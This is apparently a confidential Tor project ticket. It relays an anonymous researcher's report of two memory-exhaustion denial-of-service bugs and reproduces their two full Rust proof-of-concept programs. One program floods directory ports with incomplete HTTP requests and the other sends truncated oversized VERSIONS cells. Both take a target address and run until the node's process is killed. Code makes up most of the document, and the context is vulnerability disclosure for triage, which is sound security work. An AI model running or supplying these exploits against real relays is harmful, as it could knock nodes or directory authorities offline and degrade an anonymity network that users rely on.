Two external DoS issues for us to analyze
Hello @dgoulet @beth @nickm @mikeperry
Highlighting the four of you here for information about this. @micah, @gk, and @arma should probably be aware about this confidential ticket too. Please keep the conversations around this issue internally for now until we have a done the analysis needed and/or have a potential fix that can help against some of this. It may also be we don't think it's an issue, but we do not know yet.
As some of you know, some weeks ago an anonymous person showed up on IRC and was very interested in more anonymous ways of receiving a bug bounty from us. I have been emailing a bit back and forward and the person has given me some information and also two pieces of PoC code for the bugs.
Please note: I have not compiled their code locally on my machine yet or tried it. I think we should look at it before we try anything here.
Here are the descriptions of the two bugs taken directly from the most recent email I have with them:
The first vulnerability works by sending incomplete directory requests. In the
POC http requests are sent and Tor accumulates around 14MB of memory for each
incomplete request. This causes the tor process to accumulate memory in the
heap until the system's OOM killer kills Tor to relieve memory pressure. This
vulnerability can take down any arbitrary directory or authority node, which
makes it possible to shut down the entire network.
The second vulnerability works by sending incomplete cells. By sending
variable-length cells slightly smaller than the maximum length with the length
field set to the maximum allowed value, Tor allocates and keeps memory in the
heap without letting the OS reclaim it. This causes the OOM killer to kill Tor
again. However, due to the length of the incomplete data and the need to store
TLS data to keep the connection alive this attack requires more resources than
the first vulnerability to exploit. In my testing, the implementation to kill a
node with 4GB memory requires 16GB on the attacker's side to work. This
vulnerability can kill any arbitrary node in the Tor network. It can be used to
aid in taking down the entire network by killing any node.
Both exploits work on versions before 4.7.13 and they will work on Tor nodes
that are under memory pressure on the latest alpha version of 4.8.1.
They have sent the following two Rust PoC's.
The first one is called incomplete_dir
and look as follows:
use std::env;
use std::io::{Read, Write};
use std::net::{SocketAddr, TcpStream};
use std::str::FromStr;
use std::sync::mpsc;
use std::thread;
// 14 MiB
const MIB_PER_THREAD: u64 = 1024 * 1024 * 14;
// 8 GiB
const HEAP_SIZE: u64 = 1024 * 1024 * 1024 * 8;
fn main() {
let args = env::args().collect::<Vec<_>>();
if args.len() != 2 {
eprintln!("usage: {} DIRPORT", args[0]);
return;
}
let target = match SocketAddr::from_str(&args[1]) {
Ok(target) => target,
Err(e) => {
eprintln!("{e}");
return;
}
};
let (sender, receiver) = mpsc::channel();
for _ in 0..HEAP_SIZE / MIB_PER_THREAD {
let target = target.clone();
let sender = sender.clone();
thread::spawn(move || {
let mut stream = match TcpStream::connect(target) {
Ok(stream) => stream,
Err(e) => {
eprintln!("{e}");
let _ = sender.send(());
return;
}
};
// 15MiB Content-Length with 14MiB actual payload size makes the node
// keep 14MiB of useless data in memory waiting for the missing 1MiB
let hdr = b"GET / HTTP/1.1\r\nContent-Length: 15728640\r\n\r\n";
if let Err(e) = stream.write(hdr) {
eprintln!("{e}");
return;
}
// 512 bytes per iteration
for _ in 0..MIB_PER_THREAD / 512 {
let buf = [0u8; 512];
if let Err(e) = stream.write(&buf) {
eprintln!("{e}");
return;
}
}
// wait for target to go down
loop {
let mut buf = [0u8; 512];
match stream.read(&mut buf) {
Ok(0) => {
return;
}
_ => (),
}
}
});
}
receiver.recv().unwrap();
println!("target is down");
}
The second one is called incomplete_cell
and uses Arti:
use futures_util::io::{AsyncReadExt, AsyncWriteExt};
use std::env;
use std::net::ToSocketAddrs;
use std::sync::mpsc;
use tor_bytes::Writer;
use tor_cell::chancell::ChanCmd;
use tor_rtcompat::{
tls::TlsConnector, tokio::TokioNativeTlsRuntime, PreferredRuntime, TcpProvider, TlsProvider,
};
const AVAILABLE_PORTS: usize = (1 << 16) - 1024;
struct DoSCell;
impl DoSCell {
fn new() -> Vec<u8> {
let mut v = vec![];
v.write_u16(0); // obsolete circuit ID length
v.write_u8(ChanCmd::VERSIONS.into()); // pretend to be a VERSIONS cell
v.write_u16(std::u16::MAX); // maximum possible cell length
// length - 1KiB makes the node keep the cell in memory waiting for the
// missing 1KiB
v.write_zeros((std::u16::MAX - 1024).into());
v
}
}
#[tokio::main]
async fn main() {
let args = env::args().collect::<Vec<_>>();
if args.len() != 2 {
eprintln!("usage: {} ORPORT", args[0]);
return;
}
let target = args[1]
.to_socket_addrs()
.expect("invalid target")
.next()
.unwrap();
let runtime = PreferredRuntime::current().unwrap();
let (sender, receiver) = mpsc::channel();
// each task maintains one connection
for _ in 0..AVAILABLE_PORTS {
let runtime = runtime.clone();
let target = target.clone();
let sender = sender.clone();
tokio::spawn(async move {
let stream = match runtime.connect(&target).await {
Ok(stream) => stream,
Err(e) => {
eprintln!("{e}");
let _ = sender.send(());
return;
}
};
let tls_runtime = TokioNativeTlsRuntime::current().unwrap();
let connector = tls_runtime.tls_connector();
let mut conn = match connector.negotiate_unvalidated(stream, "ignored").await {
Ok(conn) => conn,
Err(e) => {
eprintln!("{e}");
return;
}
};
{
let body = DoSCell::new();
// 1KiB per iteration
for i in 0..body.len() / 1024 {
if let Err(_) = conn.write(&body[i * 1024..(i + 1) * 1024]).await {
return;
}
}
}
loop {
let mut buf = [0u8; 128];
if let Ok(0) = conn.read(&mut buf).await {
return;
}
}
});
}
receiver.recv().unwrap();
println!("target is down");
}